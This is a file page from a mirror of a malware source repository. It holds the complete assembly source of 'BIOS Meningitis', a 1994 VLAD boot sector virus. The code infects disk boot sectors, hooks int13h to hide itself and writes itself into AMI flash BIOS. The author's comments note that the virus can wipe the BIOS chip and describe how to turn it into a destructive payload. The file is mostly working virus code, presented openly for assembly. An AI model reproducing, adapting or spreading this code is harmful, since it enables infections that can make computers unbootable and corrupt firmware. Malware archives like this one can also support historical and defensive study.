mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
468 lines
11 KiB
NASM
468 lines
11 KiB
NASM
;.........................................................................
|
|
;
|
|
; -=[ BIOS Meningitis ]=-
|
|
; Qark/VLAD
|
|
;
|
|
;
|
|
; Basic boot sector virus with a twist.
|
|
;
|
|
; The worlds first flash BIOS infecting virus!
|
|
;
|
|
; I _just_ fit all this into 512 bytes. Infact there is only four bytes
|
|
; spare... there wasn't even enough room for the name! It used to copy
|
|
; the partition table to the end of the virus but that is 64 bytes that
|
|
; just couldn't spared, so now you if you boot from a floppy disk, the
|
|
; hard disk won't be accessible. But it's a full stealth virus apart
|
|
; from that.
|
|
;
|
|
; If you have flash BIOS on your computer there is a chance it will fuck
|
|
; it up! I'm talking wiped BIOS chip type fucked! You WONT be able to
|
|
; remove this virus!!!
|
|
;
|
|
; The results of any tests of this with flash BIOS would be appreciated.
|
|
;
|
|
; Assemble with A86 as always.
|
|
;
|
|
;.........................................................................
|
|
|
|
|
|
;On entry to the boot sector DL=Drive booted from.
|
|
|
|
org 0
|
|
|
|
mov si,7c00h
|
|
|
|
xor ax,ax
|
|
mov es,ax
|
|
|
|
cli
|
|
mov ss,ax ;Setup the stack
|
|
mov sp,si
|
|
sti
|
|
|
|
mov ds,ax ;DS,CS,ES,SS=0
|
|
|
|
;*** 40:[13] - memory in k's - reduce by one or so ***
|
|
|
|
dec word ptr [413h] ;0:413 = Memory in K, Sub one K.
|
|
|
|
int 12h ;Get memory into AX
|
|
;Since memory is in K we have to
|
|
;multiply by 1024. To do that we
|
|
;would SHL AX,10. But because we are
|
|
;looking for the segment that takes
|
|
;4 bits off the equation.
|
|
|
|
mov cl,6
|
|
shl ax,cl ;Thus SHL AX,6
|
|
mov es,ax ;ES = Virus Segment
|
|
|
|
|
|
;*** read virus sector into TOM (top of memory) ***
|
|
|
|
xor di,di
|
|
mov cx,200h
|
|
cld
|
|
rep movsb ;Move virus to ES:0
|
|
|
|
mov ax,word ptr [13h*4] ;Get int13h from vector table.
|
|
mov word ptr es:[offset i13],ax
|
|
mov ax,word ptr [13h*4+2]
|
|
mov word ptr es:[offset i13+2],ax
|
|
|
|
mov word ptr [13h*4],offset handler
|
|
mov word ptr [13h*4+2],es
|
|
|
|
already_resident:
|
|
|
|
push es
|
|
mov ax,offset restart
|
|
push ax
|
|
retf
|
|
|
|
Restart:
|
|
;Load the original bootsector from the end of the root directory and
|
|
;execute it.
|
|
xor ax,ax
|
|
call int13h
|
|
|
|
xor ax,ax
|
|
mov es,ax
|
|
mov bx,7c00h ;Where it's meant to be.
|
|
|
|
mov cx,2 ;Read HD boot strap from MBR.
|
|
xor dh,dh
|
|
mov ax,201h ;Read one sector from root directory.
|
|
cmp dl,80h
|
|
jae MBR_Loader
|
|
;load up floppy
|
|
mov cl,14 ;Cylinder=0, Sector=14
|
|
mov dh,1 ;Head=1
|
|
|
|
MBR_Loader:
|
|
call int13h
|
|
|
|
push dx ;DL=Drive we are at.
|
|
|
|
cmp byte ptr cs:flash_done,1 ;flash is already infected.
|
|
je flash_resident
|
|
|
|
call flash_BIOS ;Infect flash BIOS if any.
|
|
|
|
Flash_resident:
|
|
|
|
pop dx
|
|
|
|
db 0eah ;JMPF 0000:7C00H
|
|
dw 7c00h
|
|
dw 0
|
|
|
|
Stealth:
|
|
|
|
mov cx,2
|
|
mov ax,201h
|
|
cmp dl,80h
|
|
jae hd_stealth
|
|
mov cl,14
|
|
mov dh,1
|
|
hd_stealth:
|
|
call int13h
|
|
jmp pop_exit
|
|
res_test:
|
|
xchg ah,al
|
|
iret
|
|
Handler:
|
|
cmp ax,0abbah
|
|
je res_test
|
|
cmp ah,2 ;Reading the first sector ?
|
|
jne jend
|
|
cmp cx,1
|
|
jne jend
|
|
cmp dh,0
|
|
jne jend
|
|
|
|
try_infect:
|
|
|
|
call int13h
|
|
jc jend
|
|
|
|
pushf
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push es
|
|
push ds
|
|
|
|
;Test if already infected.
|
|
|
|
cmp word ptr es:[bx + offset marker],'LV'
|
|
je stealth ;Already infected.
|
|
|
|
cmp dl,80h ;C:
|
|
jb infect_floppy
|
|
|
|
mov cx,2 ;Sector 2 - Empty MBR space.
|
|
xor dh,dh
|
|
jmp write_virus
|
|
|
|
Infect_Floppy:
|
|
;Store at end of root directory for floppy drives.
|
|
;(Will fuck up on 360k but I dont give a shit!)
|
|
|
|
mov cx,14 ;Cylinder=0, Sector=14
|
|
mov dh,1 ;Head=1
|
|
|
|
Write_Virus:
|
|
;Write original boot sector to spare room.
|
|
|
|
mov ax,301h
|
|
call int13h
|
|
jc pop_exit
|
|
|
|
;The virus is written at this point.
|
|
|
|
push cs
|
|
pop es
|
|
|
|
mov byte ptr cs:flash_done,0
|
|
|
|
xor bx,bx
|
|
mov ax,301h ;Write virus.
|
|
mov cx,1
|
|
xor dh,dh
|
|
call int13h
|
|
|
|
Pop_Exit:
|
|
pop ds
|
|
pop es
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
popf
|
|
|
|
retf 2
|
|
|
|
jend:
|
|
db 0eah ;Stands for Jmpf
|
|
i13 dd 0 ;The original int13h
|
|
|
|
|
|
Int13h proc near
|
|
|
|
pushf
|
|
call dword ptr cs:[i13]
|
|
ret
|
|
|
|
Int13h endp
|
|
|
|
Marker db 'VLAD' ;Running out of room so small
|
|
;marker.
|
|
|
|
|
|
Flash_BIOS Proc Near
|
|
|
|
; Flash BIOS infection (c) 1994 Qark/VLAD!
|
|
|
|
;Disclaimer: If any of this wrecks your computer that's your bad luck
|
|
;because you know this is dangerous code.
|
|
|
|
;I just hope that AMIFLASH is loaded at boot and isn't a driver. Since it's
|
|
;written by a BIOS maker you'd think so...
|
|
|
|
|
|
mov ax,0e000h ;Get flash BIOS number.
|
|
int 16h ;Test for its presence.
|
|
jc no_flash_bios
|
|
cmp al,0fah ;<-- gotta test this
|
|
jne no_flash_bios
|
|
|
|
Infect_Flash:
|
|
|
|
;We are now working with AMIFLASH!
|
|
|
|
;First we'll find a nice place to store our virus.
|
|
; We'll scan between F000-FFFF where BIOS is normally stored for
|
|
; a 1K chunk of consecutive zeros. (We might only need half a K
|
|
; but I'm overplanning)
|
|
|
|
mov ax,0f000h ;ROM BIOS segment
|
|
mov ds,ax
|
|
|
|
New_segment:
|
|
|
|
xor si,si
|
|
xor dx,dx
|
|
|
|
ok_new_segment:
|
|
|
|
inc ax
|
|
mov ds,ax
|
|
|
|
cmp ax,0fff0h ;No room for our virus.
|
|
je no_flash_BIOS
|
|
Test16:
|
|
cmp word ptr [si],0 ;Scan words
|
|
jne new_segment
|
|
|
|
inc dx ;DX is our free room counter.
|
|
cmp dx,512 ;1024 byte buffer found (512x2)
|
|
je found_storage
|
|
|
|
inc si
|
|
inc si ;Coz we are messing with words.
|
|
|
|
cmp si,16 ;We are going up in paragraphs.
|
|
je ok_new_segment
|
|
jmp test16
|
|
|
|
|
|
Found_storage:
|
|
sub ax,40h ;Sub 1K (40hx16=1024)
|
|
mov ds,ax ;Coz we are using segments
|
|
|
|
mov ax,0e001h ;Chipset save requirement.
|
|
int 16h
|
|
|
|
;BX=Number of bytes to Save Chipset.
|
|
|
|
cmp bx,512
|
|
jbe save_chipset
|
|
|
|
;We won't bother saving the chipset because it takes up more room
|
|
;than our virus buffer can store. Fuck em :)
|
|
|
|
mov byte ptr cs:chipset,1 ;Indicate we haven't saved anything.
|
|
|
|
jmp write_enable
|
|
No_Flash_BIOS:
|
|
ret
|
|
save_chipset:
|
|
mov byte ptr cs:chipset,0 ;We've saved stuff.
|
|
|
|
mov al,2
|
|
push cs
|
|
pop es ;ES=CS
|
|
mov di,offset buffer
|
|
int 16h ;Chipset Status to ES:DI
|
|
|
|
write_enable:
|
|
|
|
mov al,5
|
|
int 16h ;Raise Voltage (this may take time).
|
|
|
|
mov al,7 ;Flash Write Enable.
|
|
int 16h
|
|
|
|
;Flash Memory is now writable. I am working on nothing here
|
|
;so I'll assume you just write to it normally and it'll be
|
|
;put there. If you were into writing destructive payloads
|
|
;this would be the mother of them all. Just load CX with 0ffffh
|
|
;to trash their computer. Also, leaving the computer in this
|
|
;state for extended periods could cause damage (Dunno ? Their
|
|
;electricity bill would go up at least :)
|
|
|
|
push ds
|
|
pop es ;DS=ES=Place to put virus.
|
|
|
|
xor di,di
|
|
mov cx,512 ;<-- FFFF = trouble!
|
|
push cs
|
|
pop ds ;DS=CS
|
|
xor si,si
|
|
cld
|
|
rep movsb ;Move our virus into BIOS.
|
|
|
|
;Hopefully our virus is written ?
|
|
|
|
;Ok, I looked into this carefully. At bootup int19h points
|
|
;into the BIOS but thereafter is grabbed by various programs
|
|
;(Dunno why, its the shittiest interrupt out). So, if you debug
|
|
;right now it'll point into some shadowed area or else into
|
|
;segment 70h, but it won't at bootup which is the only time boot
|
|
;sector viruses get executed so all is cool.
|
|
|
|
;What we'll do is modify the actual bytes at the entry point to
|
|
;the interrupt. You might think I should do something else but
|
|
;I can't think of any other way of hooking an interrupt at bootup.
|
|
|
|
;Priest-P/S reckoned I should just store my virus in the Flash
|
|
;and let the bootvirus just jump to it or something but then
|
|
;it's not really infected methinks. He also suggested I just modify
|
|
;the int13h entry point and restore the bytes etc. Well as you can
|
|
;see from the involved code needed just to write to flash I think
|
|
;that with a common interrupt like int13h it isn't feasible.
|
|
|
|
;Get Segment:Offset of original int19handler
|
|
|
|
mov bx,es ;BX=Virus Segment
|
|
xor ax,ax
|
|
mov ds,ax ;DS=Vector Table.
|
|
mov di,word ptr [19h*4] ;Offset of int19h
|
|
mov es,word ptr [19h*4+2] ;Segment of 19h
|
|
|
|
;Write a JMP FAR at the int19h entry point.
|
|
mov al,0eah
|
|
stosb
|
|
mov ax,offset int19handler
|
|
stosw
|
|
mov ax,bx
|
|
stosw ;Creates a JMPF INT19HANDLER at the
|
|
;int19h entry point.
|
|
|
|
mov ax,0e004h ;Lower Voltage.
|
|
int 16h
|
|
|
|
mov al,6 ;Write Protect.
|
|
int 16h
|
|
|
|
cmp byte ptr cs:chipset,0
|
|
jne No_Flash_BIOS ;We've done for this one.
|
|
|
|
push cs
|
|
pop es ;ES=CS
|
|
|
|
mov al,3
|
|
mov di,offset buffer ;Restore all their shit.
|
|
int 16h
|
|
jmp no_flash_bios
|
|
|
|
chipset db 0 ;1=chipset not saved
|
|
flash_done db 0 ;1=loaded from flash.
|
|
|
|
;This is our own int19h handler. The original sux because it isn't infected.
|
|
;(Strange logic :)
|
|
Int19Handler Proc Near
|
|
|
|
xor ax,ax
|
|
mov es,ax ;ES=0
|
|
|
|
mov ax,0abbah ;ABBA - from Muriels Wedding.
|
|
int 13h
|
|
|
|
cmp ax,0baabh ;BAAB - I like these.
|
|
jne real_int19h
|
|
|
|
;We are currently before the boot here. Lets install our virus before
|
|
;any boot sectors or anything get loaded.
|
|
|
|
push cs ;DS=0
|
|
pop ds
|
|
cld
|
|
xor si,si
|
|
mov di,7c00h
|
|
mov cx,512
|
|
rep movsb ;Move our virus from BIOS into boot buffer.
|
|
mov dl,80h ;Make it think its C:
|
|
jmp goto_Buffer ;Execute it.
|
|
|
|
real_int19h:
|
|
xor ax,ax
|
|
int 13h ;Reset disk
|
|
|
|
mov cx,1
|
|
mov dh,0
|
|
mov ax,201h
|
|
mov bx,7c00h
|
|
cmp dl,0
|
|
ja hd_int19h
|
|
|
|
int 13h ;Read boot sector.
|
|
jc fix_hd
|
|
|
|
Goto_Buffer:
|
|
mov byte ptr es:[7c00h+offset flash_done],1
|
|
|
|
db 0eah ;JMPF 0000:7C00
|
|
dw 7c00h
|
|
dw 0
|
|
Fix_HD:
|
|
mov dl,80h ;Boot from C:
|
|
HD_Int19h:
|
|
xor ax,ax
|
|
int 13h ;Reset controller.
|
|
mov ax,201h
|
|
int 13h
|
|
jc fucked_boot
|
|
jmp Goto_Buffer
|
|
|
|
Fucked_boot:
|
|
int 18h ;Called when a boot fucks up
|
|
|
|
Int19Handler EndP
|
|
|
|
Flash_BIOS EndP
|
|
|
|
End_Virus:
|
|
DupSize equ 510 - offset End_Virus
|
|
db DupSize dup (0)
|
|
db 55h,0aah ;End of Sector Marker.
|
|
|
|
Buffer: ;512 bytes of storage space in here.
|
|
|